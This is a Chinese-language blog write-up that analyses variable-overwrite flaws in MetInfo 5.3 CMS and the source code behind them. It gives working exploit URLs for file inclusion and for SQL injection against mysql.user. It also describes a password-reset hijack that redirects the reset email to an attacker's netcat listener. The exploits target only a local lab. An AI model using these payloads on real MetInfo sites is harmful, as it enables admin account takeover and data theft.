metinfo_5.3中存在一个很经典的$$型变量覆盖,这种变量覆盖在之前的博客中提到过,今天的博客围绕这个变量覆盖漏洞结合这款CMS的其他功能进行漏洞利用。

变量覆盖+文件包含

  拿到这个CMS首先还是浏览一下目录结构,简单浏览之后进入/index.php,其中

$index="index";
require_once 'include/common.inc.php';
require_once 'include/head.php';

  这里出现了require_once函数,可能会出现文件包含漏洞,于是跟读include/commen.inc.php,里面有一段代码

foreach(array('_COOKIE', '_POST', '_GET') as $_request) {
foreach($$_request as $_key => $_value) {
$_key{0} != '_' && $$_key = daddslashes($_value,0,0,1);
$_M['form'][$_key] = daddslashes($_value,0,0,1);
}
}

  这一段就是经典的$$引发的变量覆盖案例,使用$_request来获取用户请求的信息。截止到目前我们发现了/index.php疑似文件包含漏洞、/include/commen.inc.php疑似变量覆盖漏洞,但是二者还没有办法结合利用,无奈之下使用了seay的自动检测功能,检测结果的第一条为/index.php的疑似文件包含,第二条是about/index.php的疑似文件包含,跟读/about/index.php寻找突破点:

<?php
# MetInfo Enterprise Content Management System
# Copyright (C) MetInfo Co.,Ltd (http://www.metinfo.cn). All rights reserved.
$filpy = basename(dirname(__FILE__));
$fmodule=1;
require_once '../include/module.php';
require_once $module;
# This program is an open source system, commercial use, please consciously to purchase commercial license.
# Copyright (C) MetInfo Co., Ltd. (http://www.metinfo.cn). All rights reserved.
?>

  这里使用了require_once函数包含了/include/module.php文件,继续跟读,这个文件的开头为:

<?php
if(!defined('IN_MET'))require_once 'common.inc.php';
$modulefname[1] = array(0=>'show.php',1=>'show.php',2=>$met_column);
$modulefname[2] = array(0=>'news.php',1=>'shownews.php',2=>$met_news);
$modulefname[3] = array(0=>'product.php',1=>'showproduct.php',2=>$met_product);
$modulefname[4] = array(0=>'download.php',1=>'showdownload.php',2=>$met_download);
$modulefname[5] = array(0=>'img.php',1=>'showimg.php',2=>$met_img);
$modulefname[6] = array(0=>'job.php',1=>'showjob.php',2=>$met_job);
$modulefname[8] = array(0=>'feedback.php',1=>'feedback.php',2=>$met_column);
$modulefname[100] = array(0=>'product.php',1=>'showproduct.php',2=>$met_product);
$modulefname[101] = array(0=>'img.php',1=>'imgproduct.php',2=>$met_img);

  可以发现这个文件又包含了common.inc.php文件。理顺一下,/about/index.php包含了/include/module.php,/include/module.php又包含了/include/common.inc.php,/include/common.inc.php存在变量覆盖漏洞。这样我们就知道切入点是/about/index.php文件了,这个文件的有效代码只有四行,却出现了两个未知变量:$module,$fmodule。我们可以用$fmodule变量通过两次文件包含,使用$_request来获取GET传递的新$fmodule值实现变量覆盖。

  为了实现上述思路,我们回到/include/module.php找$module和$fmodule的关系:

 $module='';
if($fmodule!=7){
if($mdle==100)$mdle=3;
if($mdle==101)$mdle=5;
$module = $modulefname[$mdle][$mdtp];
if($module==NULL){okinfo('../404.html');exit();}
if($mdle==2||$mdle==3||$mdle==4||$mdle==5||$mdle==6){
if($fmodule==$mdle){
$module = $modulefname[$mdle][$mdtp];
}
else{
okinfo('../404.html');exit();
}
}
else{
if($list){
okinfo('../404.html');exit();
}
else{
$module = $modulefname[$mdle][$mdtp];
}
}
if($mdle==8){
if(!$id)$id=$class1;
$module = '../feedback/index.php';
}

  根据上面程序的逻辑,我们可以发现当$fmodule不为7时,不覆盖;当$fmodule为7时,变量覆盖。到此已经确定了变量覆盖的存在,可以结合文件包含漏洞进行利用,在/upload中上传phpinfo,payload:

http://127.0.0.1/metinfo-5.3/about/?fmodule=7&module=../upload/phpinfo.php

变量覆盖+SQL注入

  问题还是出现在include/commen.inc.php中:

 if(@file_exists('../app/app/shop/include/product.class.php') && @$cmodule){
require_once '../app/app/shop/include/product.class.php';
if($gotonew == 1){
@define('M_NAME', 'shop');
@define('M_MODULE', 'web');
@define('M_CLASS', @$cmodule);
@define('M_ACTION', 'doindex');
require_once '../app/system/entrance.php';
die();
}
}
header("Content-type: text/html;charset=utf-8");
error_reporting(E_ERROR | E_PARSE);
@set_time_limit(0);
$HeaderTime=time();
define('ROOTPATH', substr(dirname(__FILE__), 0, -7));
PHP_VERSION >= '5.1' && date_default_timezone_set('Asia/Shanghai');
session_cache_limiter('private, must-revalidate');
@ini_set('session.auto_start',0);
if(PHP_VERSION < '4.1.0') {
$_GET = &$HTTP_GET_VARS;
$_POST = &$HTTP_POST_VARS;
$_COOKIE = &$HTTP_COOKIE_VARS;
$_SERVER = &$HTTP_SERVER_VARS;
$_ENV = &$HTTP_ENV_VARS;
$_FILES = &$HTTP_POST_FILES;
}
require_once ROOTPATH.'include/mysql_class.php';
define('MAGIC_QUOTES_GPC', get_magic_quotes_gpc());
isset($_REQUEST['GLOBALS']) && exit('Access Error');
require_once ROOTPATH.'include/global.func.php';
foreach(array('_COOKIE', '_POST', '_GET') as $_request) {
foreach($$_request as $_key => $_value) {
$_key{0} != '_' && $$_key = daddslashes($_value,0,0,1);
$_M['form'][$_key] = daddslashes($_value,0,0,1);
}
}
$met_cookie=array();
$settings=array();
$db_settings=array();
$db_settings = parse_ini_file(ROOTPATH.'config/config_db.php');
@extract($db_settings);
$db = new dbmysql();
$db->dbconn($con_db_host,$con_db_id,$con_db_pass,$con_db_name);
$query="select * from {$tablepre}config where name='met_tablename' and lang='metinfo'";
$mettable=$db->get_one($query);
$mettables=explode('|',$mettable[value]);
foreach($mettables as $key=>$val){
$tablename='met_'.$val;
$$tablename=$tablepre.$val;
$_M['table'][$val] = $tablepre.$val;
}

  32-35行依然是变量覆盖漏洞的核心,在这之前出现的变量都有可能会被覆盖。第45行出现一个带有$tablepre变量的SQL语句:

$query="select * from {$tablepre}config where name='met_tablename' and lang='metinfo'";

  如果能把tablepre覆盖掉那就可以实现SQL注入,例如我们构造一个payload:

http://127.0.0.1/metinfo-5.3/include/common.inc.php?tablepre=mysql.user limit 1 #

  SQL语句就变成了:

$query="select * from mysql.user limit 1 # config where name='met_tablename' and lang='metinfo'";

  从而实现了SQL注入(虽然没有回显)。

 变量覆盖+管理员密码修改

  这个变量覆盖漏洞出现在admin/admin/getpassword.php,下面贴一大堆代码:

 switch($action){
case 'next1':
if($abt_type==1){
$description=$lang_password2;
$title=$lang_password3;
}else{
$description=$lang_password4;
$title=$lang_password5;
}
break;
case 'next2':
if($abt_type==1){
die();
if($met_smspass){
$admin_list = $db->get_one("SELECT * FROM $met_admin_table WHERE admin_id='$admin_mobile' and usertype='3'");
if($admin_list && $admin_list['admin_mobile']=='')okinfo('../admin/getpassword.php',$lang_password6);
if(!$admin_list){
if(!preg_match("/^((\(\d{2,3}\))|(\d{3}\-))?1(3|5|8|9)\d{9}$/",$admin_mobile))okinfo('../admin/getpassword.php',$lang_password7);
$admin_list = $db->get_one("SELECT * FROM $met_admin_table WHERE admin_mobile='$admin_mobile' and usertype='3'");
if(!$admin_list)okinfo('../admin/getpassword.php',$lang_password8);
}
$code=generate_password(6);
$nber=generate_password(2);
$cnde=$code.'-'.$nber.'-'.$admin_list['admin_id'];
/*发送短信*/
require_once ROOTPATH.'include/export.func.php';
$domain = strdomain($met_weburl);
$message="$lang_password9{$code}$lang_password10{$nber}[{$domain}]";
$smsok=sendsms($admin_list['admin_mobile'],$message,5);
if($smsok=='SUCCESS'){
$mobile = substr($admin_list['admin_mobile'],0,3).'****'.substr($admin_list['admin_mobile'],7,10);
$description=$lang_password11.'<br/><span class="color999">'.$lang_password12.'</span>';
$query = "delete from $met_otherinfo where lang = 'met_cnde'";
$db->query($query);
/*写入数据库*/
$query = "INSERT INTO $met_otherinfo SET
authpass = '$cnde',
lang = 'met_cnde'";
$db->query($query);
}else{
okinfo('getpassword.php',sedsmserrtype($smsok));
}
}else{
okinfo('getpassword.php',$lang_password13);
}
}else{
$admin_list = $db->get_one("SELECT * FROM $met_admin_table WHERE admin_id='$admin_mobile' and usertype='3'");
if($admin_list && $admin_list['admin_email']=='')okinfo('../admin/getpassword.php',$lang_password14);
if(!$admin_list){
if(!is_email($admin_mobile))okinfo('../admin/getpassword.php',$lang_password7);
$admin_list = $db->get_one("SELECT * FROM $met_admin_table WHERE admin_email='$admin_mobile' and usertype='3'");
if(!$admin_list)okinfo('../admin/getpassword.php',$lang_password14);
}
if($admin_list){
$met_fd_usename=$met_fd_usename;
$met_fd_fromname=$met_fd_fromname;
$met_fd_password=$met_fd_password;
$met_fd_smtp=$met_fd_smtp;
$met_webname=$met_webname;
$met_weburl=$met_weburl;
$adminfile=$url_array[count($url_array)-2];
$from=$met_fd_usename;
$fromname=$met_fd_fromname;
$to=$admin_list['admin_email'];
$usename=$met_fd_usename;
$usepassword=$met_fd_password;
$smtp=$met_fd_smtp;
$title=$met_webname.$lang_getNotice;
$x = md5($admin_list[admin_id].'+'.$admin_list[admin_pass]);
$outime=3600*24*3;
$String=authcode($admin_list[admin_id].".".$x,'ENCODE', $met_webkeys, $outime);
$String=urlencode($String);
$mailurl= $met_weburl.$adminfile.'/admin/getpassword.php?p='.$String;
$body ="<style type='text/css'>\n";
$body .="#metinfo{ padding:10px; color:#555; font-size:12px; line-height:1.8;}\n";
$body .="#metinfo .logo{ border-bottom:1px dotted #333; padding-bottom:5px;}\n";
$body .="#metinfo .logo img{ border:none;}\n";
$body .="#metinfo .logo a{ display:block;}\n";
$body .="#metinfo .text{ border-bottom:1px dotted #333; padding:5px 0px;}\n";
$body .="#metinfo .text p{ margin-bottom:5px;}\n";
$body .="#metinfo .text a{ color:#70940E;}\n";
$body .="#metinfo .copy{ color:#BBB; padding:5px 0px;}\n";
$body .="#metinfo .copy a{ color:#BBB; text-decoration:none; }\n";
$body .="#metinfo .copy a:hover{ text-decoration:underline; }\n";
$body .="#metinfo .copy b{ font-weight:normal; }\n";
$body .="</style>\n";
$body .="<div id='metinfo'>\n";
if($met_agents_type<=1){
$body .="<div class='logo'><a href='$met_weburl' title='$met_webname'><img src='http://www.metinfo.cn/upload/200911/1259148297.gif' /></a></div>";
}
$body .="<div class='text'><p>".$lang_hello.$admin_name."</p><p>$lang_getTip1</p>";
$body .="<p><a href='$mailurl'>$mailurl</a></p>\n";
if($met_agents_type<=1){
$body .="<p>$lang_getTip2</p></div><div class='copy'>$foot</a></div>";
}
require_once ROOTPATH.'include/jmail.php';
$sendMail=jmailsend($from,$fromname,$to,$title,$body,$usename,$usepassword,$smtp);
if($sendMail==0){
require_once ROOTPATH.'include/export.func.php';
$post=array('to'=>$to,'title'=>$title,'body'=>$body);
$met_file='/passwordmail.php';
$sendMail=curl_post($post,30);
if($sendMail=='nohost')$sendMail=0;
} $text=$sendMail?$lang_getTip3.$lang_memberEmail.':'.$admin_list['admin_email']:$lang_getTip4;
okinfo('../index.php',$text);
}
}

  这段代码开头的switch语句是找回密码的逻辑控制,其中next1为找回密码的方式,默认值是邮件找回,然后进行next2,在第97行利用jmailsend函数执行了发送邮件的操作,如果执行失败则用102行的curl_post函数发送邮件,我们跟读一下这个函数,该函数位于/include/export.func.php。

 function curl_post($post,$timeout){
global $met_weburl,$met_host,$met_file;
$host=$met_host;
$file=$met_file;
if(get_extension_funcs('curl')&&function_exists('curl_init')&&function_exists('curl_setopt')&&function_exists('curl_exec')&&function_exists('curl_close')){
$curlHandle=curl_init();
curl_setopt($curlHandle,CURLOPT_URL,'http://'.$host.$file);
curl_setopt($curlHandle,CURLOPT_REFERER,$met_weburl);
curl_setopt($curlHandle,CURLOPT_RETURNTRANSFER,1);
curl_setopt($curlHandle,CURLOPT_CONNECTTIMEOUT,$timeout);
curl_setopt($curlHandle,CURLOPT_TIMEOUT,$timeout);
curl_setopt($curlHandle,CURLOPT_POST, 1);
curl_setopt($curlHandle,CURLOPT_POSTFIELDS, $post);
$result=curl_exec($curlHandle);
curl_close($curlHandle);
}

  其中$post是未能成功发送的邮件内容,然后根据$met_host指定的地址将邮件内容发送过去,$met_host 在程序的值指定为app.metinfo.cn。结合上一段程序理顺一下思路:当站长自身设置的邮件服务器不起作用时先将邮件内容通过http请求发送此服务器,再由此服务器发送密码重置邮件。很明显$met_host可以导致变量覆盖,如果jmailsend函数发送失败,那变量覆盖漏洞就会被激活,可以将密码重置邮件的内容发送到我们指定的服务器。所以接下来我们的任务是让jmailsend函数失效,跟读这个函数,该函数位于/include/jmail.php中:

     function jmailsend($from,$fromname,$to,$title,$body,$usename,$usepassword,$smtp,$repto,$repname)
{
global $met_fd_port,$met_fd_way;
$mail = new PHPMailer();
//$mail->SMTPDebug = 3; $mail->CharSet = "UTF-8"; // charset
$mail->Encoding = "base64";
$mail->Timeout = 15;
$mail->IsSMTP(); // telling the class to use SMTP //system
if(stripos($smtp,'.gmail.com')===false){
$mail->Port = $met_fd_port;
$mail->Host = $smtp; // SMTP server
if($met_fd_way=='ssl'){
$mail->SMTPSecure = "ssl";
}else{
$mail->SMTPSecure = "";
}
}
……
……
……
if(!$mail->Send()) {
$mail->SmtpClose();
//return "Mailer Error: " . $mail->ErrorInfo;
return false;
} else {
$mail->SmtpClose();
//return "Message sent!";
return true;
}
}
}

  我们的目的是让这个函数返回值为false,第13行开始可以看出根据$met_fd_port指定的端口发送邮件,这里如果将这个变量覆盖掉将导致邮件发送失败。所以我们的漏洞利用思路已经明确:1.利用变量覆盖修改指定发送邮件的端口;2.利用变量覆盖修改服务器ip。

  我们先在服务器上监听80端口

nc -lv 80

  然后抓包构造payload即可获取邮件。

最新文章

  1. 编程轶事-java中的null-遁地龙卷风
  2. 解决一则enq: TX – row lock contention的性能故障
  3. Class.forName()的作用
  4. prism4 StockTrader RI 项目分析一些体会
  5. 从体系架构上分析PRINCE2和pmp的区别
  6. 在Linux下安装和使用MySQL
  7. django model 中class meta
  8. Windows下DLL查找顺序
  9. css三级下拉的导航栏
  10. Linux 客户端 下乱码的解决方法
  11. Java 单例总结
  12. Shell脚本运行hive语句 | hive以日期建立分区表 | linux schedule程序 | sed替换文件字符串 | shell推断hdfs文件文件夹是否存在
  13. &quot;UBUNTU: SAUCE: apparmor: 3.0 backport of apparmor3&quot;
  14. RTL-SDR简单介绍
  15. axure 动态面板制作图片轮播 (01图片轮播)
  16. Java 9 揭秘(14. HTTP/2 Client API)
  17. Ionic3学习笔记(四)修改返回按钮文字、颜色
  18. time_wait的快速回收和重用
  19. puppetdb搭建
  20. Golang &amp; GitLab-CI 详细实例步骤

热门文章

  1. Python Learning Day6
  2. SpringMVC_执行原理
  3. Tensorflow学习教程------利用卷积神经网络对mnist数据集进行分类_利用训练好的模型进行分类
  4. Intellij IDEA破解方法
  5. A4纸网页打印
  6. Vue-router(4)之路由跳转
  7. C# 创建Windows服务。服务功能:定时操作数据库
  8. 汪慧和201771010123《面向对象程序设计JAVA》第四周实验总结
  9. HTML 的 元素分析
  10. h5-应用级缓存